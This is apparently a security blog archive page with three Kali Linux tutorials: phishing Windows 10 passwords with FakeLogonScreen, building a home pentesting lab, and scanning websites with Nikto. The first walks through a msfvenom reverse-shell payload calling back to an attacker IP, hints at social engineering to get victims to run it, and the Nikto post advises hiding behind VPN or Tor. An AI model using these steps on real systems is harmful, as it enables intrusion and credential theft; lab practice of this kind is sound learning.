kali linux Archives - Tech Chronicles

How to Hack Windows 10 Passwords Using FakeLogonScreen in Kali Linux

Majordomo — Tue, 27 Oct 2020 19:57:56 +0000

This article demonstrates an in-depth guide on how to hack Windows 10 Passwords using FakeLogonScreen. Hacking Windows 10 password is an exciting topic, so I decided to make this windows hacking tutorial.

I will use FakeLogonScreen and Kali Linux to hack Windows 10 passwords. FakelogonScreen is a handy and stealthy tool that creates a fake Log on-screen on a target machine running Windows 10. This tool enforces the target user to enter the correct credentials and, after getting it, passes it to the backdoor attacker.

Arris Huijgen developed this useful tool, it takes advantage of the normal behavior of the Windows environment, displaying the login screen when it comes out of sleep mode, and asking to enter credentials. At that time, this tool looked for phishing Windows credentials from the target, and the strength of this tool came in when it only accepts the valid credentials.

Steps to Hack Windows 10 Password

Now let’s try this tool and perform the exploit. We need to deploy two virtual machines i.e. Kali Linux and Windows 10. In my virtual lab environment, the Kali (attacking machine) has an IP: 192.168.0.103, and the Windows (target machine) got 192.168.0.100.

Download the FakeLogonScreen in Kali Linux

First, we need to download the FakeLogonScreen executable in our attacking machine from the link:

https://github.com/bitsadmin/fakelogonscreen/releases

Now assume the target machine is connected to the same network as the attacking machine.

Creating the Malicious Payload to Hack Windows

We will create a malicious payload by using msfvenom tool according to the information acquired by the target system. We will set lhost to our Kali’s IP i.e. 192.168.0.103, and set lport as 4444. Since we are interested in exploiting a Windows system, we will generate a payload as an executable file to easily gets it executed on the target machine. Use command:

# msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.103 lport=4444 -f exe >> payload.exe

Here the ‘payload.exe’ is the name of the generated payload. After that, we will run Python One-liner to create an HTTP server that will host this malicious payload at port 80 of the target machine.

#python -m SimpleHTTPServer 80

Download the Payload on Target Machine

All set now, the most crucial stage came when we have to get the target to download this malicious payload. In real-life scenarios, an attacker can use different social engineering techniques and let the target user to download this malicious file into his system.

For practical demonstration, we will access our Kali’s machine directory from the Windows machine and download the payload.

This will also be showing the current logs in our Kali machine.

Launch Metasploit to Exploit

Let’s get straight back to Kali and launch Metasploit-framework.

Use multi/handler module.

Set the windows/meterpreter/reverse_tcp payload.

Set lhost as our IP i.e. 192.168.0.103 and lport as 4444

After configuring it all, just run the exploit, go back to the Windows machine and run the executable, i.e., ‘payload.exe’. This will quickly get us a meterpreter session.

Upload the Executable

Now upload the FakeLogonScreen executable that we downloaded earlier. Make sure to give it the correct path of the exe file.

>upload /root/Downloads/FakeLogonScreen.exe

After that, get the shell access and run FakeLogonScreen.exe as showing below:

And BOOM!! At the target machine, all the running windows would get closed, and the logon screen would pop up, asking the credentials and appears it as a legitimate window. The user would not hesitate for a second to enter his credentials and get his work back.

To check the strength of this tool, we will be entering the wrong password.

And this will show the error “The password is incorrect, try again.” This is the strength of FakeLogonScreen tool that enforces a target to enter his correct password. The user has no choice other than that to enter his password.

Let’s enter the correct password, and you will get your standard window as nothing happened before.

This also showing the FakeLogonScreen works similar to a keylogger. The attacker would easily monitor all the logs and could grab the correct password of the target user.

Some Useful Information

This tool could also work effectively on multiple desktop systems. While running it on various desktops, all the affected screens turn black immediately after executing the exploit from the attacking machine. This works even if the target user has set a customized background.

The zip file of the exploit also includes another executable named “FakeLogonScreenToFile.exe” that works the same as the previous executable. Still, it has some extra features i.e., not only showing the password but also stores it in a file %LOCALAPPDATA%\Microsoft\user.db.

This tool can also be integrated with Cobalt Strike to work effectively.

The post How to Hack Windows 10 Passwords Using FakeLogonScreen in Kali Linux appeared first on Tech Chronicles.

How To Create A Virtual Penetration Testing Lab At Home

Majordomo — Fri, 28 Aug 2020 12:14:58 +0000

In this article, we will demonstrate how to create your own virtual penetration testing lab at home. Creating a pentesting lab is must for learning different testing tools and hacks out of legal trouble because hacking into other computers and networks where you don’t have rights to access is illegal without prior consent so having your own lab that replicates someone else’s environment is a perfect platform to practice hacking and security testing skills.

Moreover, when you perform security testing on a system, there is a chance of severe damage that can permanently delete the data of targeted device or destroy the target computer or network but in your own pentesting lab you will have complete control over environment for testing and you can also configure the target to the exact specifications needed for the test.

Having said that, creating your own pentesting lab is easier if you are working on a virtual environment as it is cost-effective as well as scalable. So these are some prerequisites before creating your own pentesting lab:

Virtualization should be enabled on the processor
VirtualBox or VMware must be installed
Atleast 8GB RAM of the host machine is required

In our setup, we will configure one attacking machine (Kali Linux) and three target machines (DVWA, MetaSploitable and Windows10) on which the attacking machine will generate some exploits

Kali Linux

Kali Linux is a Debian based Linux distribution designed for penetration testing. In this setup it will be our attacking machine because it has some pre-installed penetration testing tools i.e. (Wireshark, Aircrack-ng, BeEF, Burp Suite, Metasploit Framework, Hydra, Nikto, Maltego, Nmap) aid the pen-testers to gather information, perform scanning and find some vulnerabilities.

MetaSploitable

MetaSploitable is a virtual machine that is an intentionally vulnerable version of Ubuntu Linux specifically designed for penetration testing learners to test security tools and exploit common vulnerabilities. This project is created and maintained by rapid7 Community, Originally design for Metasploit Framework testing.

Installation of MetaSploitable

To install MetaSploitable in VirtualBox download the MetaSploitable file from https://sourceforge.net/projects/metasploitable/files/Metasploitable2/

Open up VirtualBox and create a new VM by selecting ‘Machine’ and choosing the option ‘New’

Type name of the VM, set the destination where you want to install this VM, set the Type as Linux and version as Ubuntu(64-bit)

Set the memory size

Use existing virtual hard disk file

Attach the vmdk file that you already downloaded

Now start the VM

After rebooting it will ask for login credentials. The default username and password are “msfadmin”

After logging in successfully you will get the MetaSploitable prompt

DVWA

Damn Vulnerable Web Application (DVWA) is a PHP/MySQL web application that provides a platform to practice hacking. It is the best platform for beginners to come and practice security tools because it is damn vulnerable as mentioned in its name.

As hacking is an illegal practice there is a requirement for security professionals to test their skills and tools in a legal environment and help web developers better understand the processes of securing web applications. This could be achieved by using DVWA that is got a lot of vulnerabilities, helps the beginners to learn and practice ethical hacking.

It runs on a local server hence there is no need for an internet connection to use this web application. It has different security levels as a beginner, intermediate, and expert to aid security professionals at every stage of learning.

Stages to Install DVWA

We are using Kali Linux operating system to install DVWA because this OS is designed for penetration testing and there are many pre-installed security tools present in Kali Linux. After that you require to configure a database

STAGE 01: Install DVWA on Kali Linux

Go to web browser in Kali Linux and search the link github.com/ethicalhack3r/DVWA to copy the address

Now go to terminal and switch the directory to /var/www/html/ because all the files need to be installed in this directory to run the web application

After switching the directory type git clone and paste the address that you have copied from browser

The DVWA file has successfully cloned

Type ‘ls’ to see DVWA directoy

Give this directory all the permissions by typing “chmod –R 777 DVWA/”

Switch the config DVWA/config directory to set the configuration

Type ls to see the config file

This is the default configuration file. Make a copy of this file to keep the default configuration file that will help you to restore if you have made some mistakes while configuring this file.

Now go to nano editor to edit the configuration

In the editor set the username and password of your choice, save it and exit the editor

STAGE 02: Configure the MYSQL Database

Start the service

Create a new user in a database as:

Create user ‘user’@’127.0.0.1’ identified by ‘321;

The username and password should be the same as you have entered in the configuration file of DVWA

Give user all the privileges over the database:

grant all privileges on dvwa.* to ‘user’@127.0.0.1’ identified by ‘321’;

Now exit the database

STAGE03: Configure the Apache Server

First, start the service

Switch to the directory /etc/php/7.3/apache2/ where the configuration file is present that we have to configure

Type ls to see the file i.e. php.ini

Use the editor to set the configuration in the php.ini file. I am using gedit editor

Set the two highlighted parameter on i.e. allow_url_fopen = On and allow_url_include = On

Save the file, exit the editor and then start the apache service

Now open the browser and access the web application by typing 127.0.0.1/DVWA/ (because we are running this application on a local server)

When accessing the application for the first time you will be redirected to this setup page where it is showing the configuration of web application

Scroll down and select “Create/Reset Database” to create a database

Now finally you will see a login page of DVWA that requires credentials to enter. Default username is “admin” and password is “password”

After logging in you will see a home page of DVWA that is showing some instructions and warnings. In the left-most corner, there are different vulnerabilities showing that can be exploited.

Windows

The third target machine is set to be Windows 10 as we will create an environment that will target Linux as well as Microsoft operating system.

Creating Windows VM in VirtualBox is easy because we don’t need to have a product key and can download the ISO file from Microsoft using the Windows Media creation tool.

Go to the link https://www.microsoft.com/en-us/software-download/windows10 and select ‘Download tool now’ option

Download the ISO file from here and then create a VM on VirtualBox:

Set name, destination, type, and version
Set the memory size
Create the virtual hard drive
Set hard disk file type as VDI
Set storage on a physical device as dynamically allocated
Select the size of virtual hard disk
From settings go to Storage tab and select Controller: IDE, select Empty and from the rightmost corner select the tiny CD icon from where you can browse the ISO file that you have downloaded on your PC. Select the image file
Start the VM and configure

So we have created all the VMs and set up the penetration testing environment successfully!

Use Kali Linux to scan the target and exploit many vulnerabilities present in DVWA, MetaSploitable, and Windows machines, generate some attacks for example: Brute Force, SQL Injection, CSRF, and many more to let you start your Capture the Flag journey.

The post How To Create A Virtual Penetration Testing Lab At Home appeared first on Tech Chronicles.

How to Use Nikto for Scanning Vulnerabilities of Any Website in Kali Linux

Majordomo — Fri, 21 Feb 2020 13:27:17 +0000

When a penetration tester or a security analyst starts to perform website testing, the first step is to conduct reconnaissance where he would get information related to target and from that, he can identify the attack surface.

The attack surface is nothing but a total sum of vulnerabilities that can be exploited to carry out a security attack. After the attack surface is identified by the analyst, he would use some useful web scanning tools to further identify those vulnerabilities, which might become the primary attack vectors.

So far, Nikto is one of the most commonly used website vulnerability scanners in the industry. It is an open source web server scanner that renders a bunch of vulnerabilities found on a website that could be exploited. Hence playing a primary role to perform website assessment and detects possible vulnerabilities on a site to keep it safe from an attacker.

Let’s just understand how this works. Assume that you have a URL of a target, by using Nikto you need to provide it with one of the three different types of information i.e. an IP Address for a local service, a web domain or an SSL/HTTPS enabled website. These are the three main target information used by Nikto to dig around and hunt the vulnerabilities.

Although we cannot deny the effectiveness of this tool, however one of the main disadvantages of the said tool is, it is not stealthy. While perform scanning on any website that has security controls enabled like Intrusion Detection System or Intrusion Prevention System, they would get notified that they are being scanned.

Installing the tool Nikto

You can install Nikto by apt-get install nikto, but in Kali Linux it is pre-installed located in the “Vulnerability Analysis” category.

Testing

Type nikto -Help to see all the options that we can perform using this tool.

From above we can see it has many options based on performing different tasks. We are going to use a standard syntax i.e. substituting the target’s IP with -h flag and specifying -ssl to force ssl mode on port:

This showing the quick scan of the targeted website.

Now try Nikto on a local network for finding embedded servers for example a login page for a router or an HTTP service on another machine that’s just a server with no website.

First find our IP address from ifconfig.

After getting the IP run ipcalc to get the range. If it is not installed in your machine first install it by: # apt-get install ipcalc then run # ipcalc 192.168.0.109

We got the range, now we are interested to run Nmap so that we can find services running in that network range.

Let’s get started with port 80 and scan our network range with it, also specify the flag -oG (grepable output) to take out all those hosts that are up and running. Save the output in a file named ‘ehacking.txt’. You can name it whatever you want.

Use cat command to read the output from our saved file

Use cat with ‘awk’, a linux tool that will scan the patterns where ‘Up’ means the port is open and the host is up whereas ‘print 2$’ would direct to print out the second word for each in that line, i.e., IP address. Save that data to a new file named ‘targetIP.txt’ as Nikto can easily interpret files like this.

These are all the hosts that have port 80 on. Run Nikto on targetIP.txt.

So far, we have scanned an SSL enabled website and an IP address on a local network, now let’s scan a website using port 80 (HTTP enabled) i.e an unsecured web domain:

So, this can tell us it is using Varnish server and some of the headers that would indicate the configuration of website.

The last entries with the OSVDB prefix are those vulnerabilities reported in the Open Source Vulnerability Database.

you can use the CVE tool to convert the OSVDB identifier into a CVE entry so that you can use one of the other sites above to learn more about the vulnerability. The CVE contain information about what can be exploited, what the severity score is (such as critical), and some other information that can help accessing an attack vector.

Advantages of Nikto

One of the best things about Nikto is that you can actually export information to a format that can be read by Metasploit when you are doing a scan. To do that, just use the above commands to scan, but append -Format msf+ to the end. The format will allow us to quickly pair data with a weaponized exploit.

This is all about scanning target website for vulnerabilities from identifying first the attacking surface then further hunting those vulnerabilities which can be used as a weaponized exploit.

As this tool is not stealthy, it is recommended that use this tool with a VPN or through TOR browser to be anonymous and protect your identity.

The post How to Use Nikto for Scanning Vulnerabilities of Any Website in Kali Linux appeared first on Tech Chronicles.